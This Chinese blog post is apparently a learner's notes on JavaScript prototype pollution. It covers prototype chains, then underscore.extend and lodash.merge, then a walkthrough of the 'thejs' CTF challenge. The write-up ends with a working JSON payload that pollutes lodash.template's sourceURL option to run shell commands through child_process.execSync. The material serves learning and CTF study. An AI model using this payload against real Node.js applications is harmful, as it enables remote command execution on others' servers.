《关于我学习JS原型污染并做下笔记这件事》
前言
别问,问就是太菜了,以及实在是太久没有更新博客了,越学越往开发那里学了(golang真棒),为了拉回自己其实是搞安全的形象,因此学习了亏欠很久的JS原型污染 .
<!--more-->
JS中的类
一般来说JS中定义类的方法,常用大概以下三种:
1.函数式你以为我是函数实际上我是类哒~
function son(name) {
this.ming = name
this.show = function(){
console.log(this.ming)
}
}
这里定义了一个son
类(或者该类的构造函数),然后指定了一个ming
属性和一个show
方法
2.class语法糖
class son {
constructor(name){
this.ming = name
}
show(){
//这里隐式解决了原型的问题,不理解请看下文
console.log(this.ming)
}
/*与该方法等价的函数式代码为
son.prototype.show = function(){
console.log(this.ming)
}*/
}
3.简单式
var son = {
ming: 'hello',
show: (function () {
console.log(this.ming)
})
}
第二种是我们比较熟悉的类定义方式,函数和class语法两者是基本等价了,简单式非常像是一个字典,但由于JS中函数为一等公民,下文主要以函数式来讲
存在缺陷的定义方式
第一种定义类的方式,会存在一个问题,那就是每实例化一个类,其中this.show = function()
都会执行一次,过程如下:
我们会发现每实例化一个新对象,debug总是能够断在this.show
一步(即该方法被绑定在了实例上,而非类),因此为了解决这个问题,我们可以使用prototype
,这样相当于son
与生俱来就拥有show
方法了
理解prototype
这里我们使用prototype
其使用方法相当于访问类中的属性,因此prototype
我们可以将其理解为所有类共有的一个属性,而一个类在实例化时会拥有prototype
中的方法和属性,从继承的角度来说,这个prototype
就类似于父类,而在JS中称为原型
,但一个实例化的类不能直接通过prototype
访问其原型,需要使用__proto__
属性:
直接访问显示undefined
:
使用__proto__
属性:
__proto__
确实指向了该类的prototype
属性prototype
包含了需要进该类的方法和属性,prototype
形式上类似于python的字典
prototype如何运作
function son(name) {
this.ming = name
}
function father(){
this.xing = "Li"
}
son.prototype = new father()
son.prototype.show = function(){
console.log(this.xing,this.ming)
}
var new_son = new son("bu");
var a = new_son.__proto__
new_son.show()
console.log("done")
我们使用以上代码进行debug,就能够很清晰的见到一条链条(继承链)
Object再往前找就变成null
了
通过链条分析,不难发现JS的继承机制是这样实现的:
son
类实例中没有xing
这个属性,就到father
里面找father
找不到xing
属性,找Object{constructor}
里面Object{constructor}
里面也找不到,就找Object
里面Object
里面也没有那就返回Null
,即不存在该属性
总结:
如果用户能够控制一个类的原型,那么通过修改该类原型,就可以直接修改当前类,这种攻击也就是JS原型污染了,实验一下:
应用场景
由于原型污染的条件便是,需要我们能够控制原型的值,或者能够操控__proto__
方法
- 通过
JS
中对象可以是类似Python
字典的形式,因此通过操纵字典键名操作值的函数方法均可,因为在这里__proto__
可以被当作键名(一般指合并操作,JS对象本来就可以直接增删改属性,因此没必要封装函数) - 复制对象的时候,因为复制对象需要将已有对象加载到空对象中,因此这个过程仍然可以操作键名和值.
搜索了一下在node.js大致有两个方法可以操作对象合并underscore.extend
和lodash.merge
我们一个方法一个方法的测试看看,
extend:
这里我们对象确实合并成功了,但原型并没有受到污染,原因在于这里的son
那里的__proto__
被当作了son
的原型,其属性和方法已经被加载到了son
对象里,而我们需要将__proto__
当作键名才能够将原型污染。因此我们需要在生成对象修改一下,我们可以不自己创建对象,而是将字符串解析成对象,这样自然__proto__
会被当作键名了。
extend修改后:
这里使用字符串转化成为对象的话,会提示Object没有原型,并且debug了一下son.xing
也是undefined
,百度一下解决方法,说是应该用JSON.parse
,当然翻了一下文档,发现querystring.parse
是肯定不行的
最终版本:
发现这个方法似乎不行,相继测试了该包下的extendOwn
和clone
也不行,最后发现该包文档里面说了
会直接覆盖掉,这就相当于创建了一个原对象的副本,而并不会改变对象的Object
因此从JS原型污染的角度来说,这个函数比较安全。
merge:
由于前面extend
没看文档说明,浪费了一些时间,这次我们先翻阅官方文档的说明:
非常关键的地方,merge
函数会直接改变对象的Object
这就意味着如果我们控制了其中一个对象,那么merge
进行合并的时候,必然会造成原型污染。
测试一下:
我们发现并没有合并原型,究其具体原因发现,包里的merge
函数使用一个safeget()
函数来获得key
值,之后发现
原来是当属性名为__proto__
会直接返回,而不是返回目标对象的对应__proto__
,因此这里不会产生原型污染,当然由于这里我们是测试所以直接删掉判断__proto__
那段代码(这里判断是采用弱相等可能存在一些绕过的问题,但我找不到):
这里原型污染成功了,其实P神对merge
函数总结的非常到位,P神源码如下:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
//递归赋值
} else {
target[key] = source[key]
/*递归的终点,将原类的属性名赋值给目标对象的对应属性名,
因此如果这里属性名为__proto__那么就可以修改原型了(前提他没有判断键名是否为__proto__)
*/
}
}
}
实际上lodash.merge
简化之后也是类似的代码.
实例
翻阅了很多文章才发现,P神code-breaking的Thejs
实在太经典了,两年以来都是其各种变种,因此这里主要以thejs
为例
源码分析:
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')
const app = express()
//常量定义,但可以看看用了那些包
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
//设置了服务器可以接受POST的表单数据和JSON
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))
//设置session构成
app.engine('ejs', function (filePath, options, callback) {
// define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
//这里利用读文件的方式读取模板文件,然后传给lodash.template进行创建模板,最后再利用compiled函数渲染出options的值
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')
app.all('/', (req, res) => {
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
data = lodash.merge(data, req.body)
req.session.data = data
//这里将data与req.body进行合并操作,最后合并给session
}
res.render('index', {
language: data.language,
category: data.category
})
})
app.listen(3000, () => console.log(`Example app listening on port 3000!`))
总结一下,源码逻辑很简单就是将接受到的数据拼接到session上,最后显示出来而已。我们注意到这里使用了lodash.merge
函数,这个函数在早期版本应该是没有校验__proto__
属性的,因此怀疑这里存在原型污染的问题,那么问题来了,污染原型之后该怎么得到flag
?
问题1:污染原型的哪个属性?
首先服务器代码基本是看不出什么端倪的,我们可以思考以下几点:
- 重点函数
lodash.merge
为污染原型的入口 - 污染原型想要拿到
flag
必须要植入shell
或者执行命令 - 污染原型中的某个属性能够被拼接到函数中或者函数运行中
因此我们需要找传入对象的函数,并看他们是否能够创造函数,或者能够运行函数,再整理一下lodash.merge
这个函数排除,这是入口,然后我们想想为什么不用express
自带的引擎渲染,而需要使用lodash.template
函数呢?所以怀疑这里有点问题,我们翻看lodash.template
文档发现:
这里options
是一个对象,并且返回的是一个编译模板的函数,在服务器代码又有这一段:
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
最后这个编译模板函数会被当作回调函数执行,因此如果这里能够顺利污染到Function
的创建,那么就可以返回一个可执行的命令了,再回到lodash.template
源码上(对应版本lodash-4.17.4
):
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
...........
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
......
return result;
这里会判断sourceURL
是否在options
对象中,如果在的话(可以在原型里)取出,然后将sourceURL
拼接到函数的创建中,最后再经由外层服务器代码执行,整理一下这里的格式,可以看作:
Function("",sourceURL)//这个sourceURL是可控的
问题2:如何执行命令
1.模块的相关问题和tips:
Node.js里面执行命令一般使用child_process
这个模块里的函数,比较常用的是exec
或者execSync
前者为异步执行,后者为同步,同时exec
返回一个对象,而execSync
返回buffer
,不过源代码并没有导入这个模块,因此这里需要导入child_process
但P神曾在代码星球里面说过Function
里是不含有require
的上下文的,如下图:
翻阅文档会发现Node
程序进程中,一直都会存在一个global
全局变量,global
里面也存在process
,而process
里面的mainModule
则是可以导入模块的
而mainModule
对象的constructor
中有_load
方法,这个方法可以返回导入的模块
2.回显问题:
注意直接使用execSync
会返回buffer
对象,因此需要转化成字符:
Payload
payload为
{"__proto__": {"sourceURL": "\r\nreturn e => { return global.process.mainModule.constructor._load('child_process').execSync('ls').toString()}\r\n"}}
这里的也可以使用\u000a
作为换行符:
同时把部分代码抽出来可能看得比较清楚:
最后测试了一下发现P神给的payload
没加toString
也可以回显出来,似乎这里源码还进行了一次转换?如果这里payload不返回函数,则会造成没有response
包回来,但代码依旧会执行,只是需要另一个服务器接收结果而已。
参考文章: